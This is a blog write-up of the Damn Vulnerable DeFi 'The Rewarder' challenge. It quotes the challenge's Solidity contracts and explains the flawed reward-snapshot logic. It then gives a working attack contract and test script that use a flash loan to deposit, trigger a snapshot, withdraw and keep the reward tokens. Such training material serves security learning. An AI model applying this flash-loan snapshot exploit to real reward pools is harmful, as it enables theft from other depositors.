moon

moon

Build for builders on blockchain
github
twitter

Defi Hacker Series: Damn Vulnerable DeFi (5) - The Rewarder

Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before you begin, you need to have skills related to Solidity and JavaScript. For each challenge, your task is to ensure that the unit tests for that challenge pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/5.html

Challenge description:

There is a pool that provides token rewards to those who deposit DVT tokens every 5 days. Alice, Bob, Charlie, and David have deposited some DVT tokens and earned their rewards!

However, you do not have any DVT tokens. But in the upcoming round, you must claim the maximum rewards for yourself.

There are 4 smart contracts in this challenge directory:

  • AccountingToken.sol
  • FlashLoaderPool.sol
  • RewardToken.sol
  • TheRewarderPool.sol

AccountingToken.sol

// Inherits from ERC20Snapshot and AccessControl
contract AccountingToken is ERC20Snapshot, AccessControl {
		// Defines three roles: minter, snapshot, burner 
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }
    // Burn tokens
    function burn(address from, uint256 amount) external {
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }
    // Execute snapshot
    function snapshot() external returns (uint256) {
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // Do not need transfer of this token
    function _transfer(address, address, uint256) internal pure override {
        revert("Not implemented");
    }

    // Do not need allowance of this token
    function _approve(address, address, uint256) internal pure override {
        revert("Not implemented");
    }
}

AccountingToken is a token contract, with the token name as rToken and symbol as rTKN. It inherits from openzeppelin's

  • ERC20Snapshot.sol: This contract is mainly used to record how much balance an address has each time a snapshot is taken. It has the following internal variables:
    • _currentSnapshotId: An incrementing variable used to record the ID of each snapshot taken.
    • _accountBalanceSnapshots: Records the balance of each address corresponding to each snapshot. The snapshot balance is stored using the Snapshots struct.
    • _totalSupplySnapshots: Records the total amount of tokens at each snapshot.
  • AccessControl.sol: Used to handle role-related contracts. Essentially, it stores the addresses owned by each role.

In the constructor of this contract, the sender is granted four roles:

  • admin_role
  • minter_role
  • snapshot_role
  • burner_role

And calling the methods mint, burn, and snapshot requires the sender to have the corresponding role.

flashLoanerPool.sol

contract FlashLoanerPool is ReentrancyGuard {

    using Address for address;
		
    // Instance of DVT token
    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }
    
    // Flash loan method
    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        // Send DVT token to sender
        liquidityToken.transfer(msg.sender, amount);
        
        // Callback to receiveFlashLoan method
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

The lending pool contract provides flash loan functionality. The flash loan method will call back the receiveFlashLoan method.

RewardToken.sol

contract RewardToken is ERC20, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

The token contract, with the token symbol as RWT, and only the minter_role can perform mint.

TheRewarderPool.sol

contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    // How often rewards are distributed
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
    
    // Last snapshot ID executed for rewards
    uint256 public lastSnapshotIdForRewards;
    // Timestamp of the last executed snapshot
    uint256 public lastRecordedSnapshotTimestamp;
    
    // Records the last reward distribution time for each address
    mapping(address => uint256) public lastRewardTimestamps;

    // Instance of DVT token
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    // Instance of rTKN token
    AccountingToken public accToken;
    
    // Instance of RWT token
    RewardToken public immutable rewardToken;

    // Records the rounds of rewards distributed
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    // Deposit DVT token
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        // Mint equivalent rTKN token
        accToken.mint(msg.sender, amountToDeposit);
        // Distribute rewards
        distributeRewards();
        // Transfer DVT token from the caller's account to this contract (requires approval)
        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }
    
    // Withdraw DVT token
    function withdraw(uint256 amountToWithdraw) external {
        // Burn rTKN token
        accToken.burn(msg.sender, amountToWithdraw);
        // Transfer from this contract to the caller's account
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }
    
    // Distribute rewards
    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;
        
        // Check if it's time for a new round of rewards
        if(isNewRewardsRound()) {
            _recordSnapshot();
        }
        // Total deposits at the last snapshot of rTKN token
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        // Amount deposited by the caller at the last snapshot
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
        // If the amount deposited is greater than 0 and total deposits are greater than 0
        if (amountDeposited > 0 && totalDeposits > 0) {
            // Calculate the amount of rewards based on the proportion
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
            // If the rewards are greater than 0 and the user has not retrieved rewards yet
            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                // Mint RWT token as rewards
                rewardToken.mint(msg.sender, rewards);
                // Record the time of reward retrieval
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }
    // Execute snapshot
    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }
    
    // Check if the user has retrieved rewards based on the time
    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }
    
    // Check if it's a new round of rewards: current time >= last reward time + 5 days
    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

The reward pool contract, when we call the deposit method to deposit DVT token, will give you an equivalent amount of rTKN token. After that, rewards will also be distributed proportionally based on the amount of rTKN token you hold.

From the contract source code, we can summarize:

There are three tokens, namely:

  • DVT token
  • rTKN token
  • RWT token

Whenever a user deposits DVT token in the reward pool contract, they will receive an equivalent amount of rTKN token. It will then check the current block time to determine if it's time for a new round of reward distribution. If so, it will execute a snapshot to record all accounts holding rTKN token and their balances at that time. Based on the snapshot data, RWT token will be distributed proportionally.

Alternatively, the user can actively call distributeRewards to claim rewards.

Now, looking back at the challenge question: you do not have DVT token, but you need to obtain the maximum rewards during the new round of reward distribution. This means that at the time of the snapshot, you need to hold a large amount of rTKN token, and the prerequisite for holding rTKN token is to deposit DVT token. However, the question clearly states that you do not have DVT token. Therefore, to obtain DVT token, you can only borrow it through the lending pool contract.

This clarifies our attack process:

  • During the new round of reward distribution, borrow all DVT token through a flash loan.
  • In the callback method of the flash loan, call the deposit method of the reward pool contract to deposit the borrowed DVT token and receive an equivalent amount of rTKN token. At this point, a snapshot will be executed, and rewards will be distributed, allowing you to obtain RWT token.
  • Call the withdraw method of the reward pool contract, burn the rTKN token you hold, and return the deposited DVT token to the caller.
  • Return the borrowed DVT token to the lending pool contract.
  • Transfer the obtained RWT token to the attacker's account.

Thus, we can write our attack contract:

TheRewarderAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";

contract TheRewarderAttack {
  // Reward pool contract
  TheRewarderPool public rewarderPool;
  // Lending pool contract
  FlashLoanerPool public flashLoanerPool;
  // DVT token
  IERC20 public liquidityToken;

  constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
    rewarderPool = TheRewarderPool(_rewarderPool);
    flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
    liquidityToken = IERC20(_token);
  }
  // Flash loan callback method
  function receiveFlashLoan(uint amount) public {
    // Approve rewarderPool to use amount of DVT token
    liquidityToken.approve(address(rewarderPool), amount);
    // Deposit DVT token
    rewarderPool.deposit(amount);
    // Withdraw DVT token
    rewarderPool.withdraw(amount);
    // Return borrowed DVT token to lending pool contract
    liquidityToken.transfer(address(flashLoanerPool), amount);
  }

  function attack (uint amount) external {
    // Execute flash loan
    flashLoanerPool.flashLoan(amount);
    // Transfer obtained RWT token to sender
    rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
  }
}

Finally, in the test case the-rewarder.challenge.js, we write our execution code:

it('Exploit', async function () {
  // Deploy attack contract
  const TheRewarderAttackFactory = await ethers.getContractFactory('TheRewarderAttack', attacker)
  const attackContract = await TheRewarderAttackFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address)
  // Increase time to 5 days later
  await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
  // Execute attack method
  await attackContract.attack(TOKENS_IN_LENDER_POOL)
})

Run yarn the-rewarder, and the test passes!

Full code

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.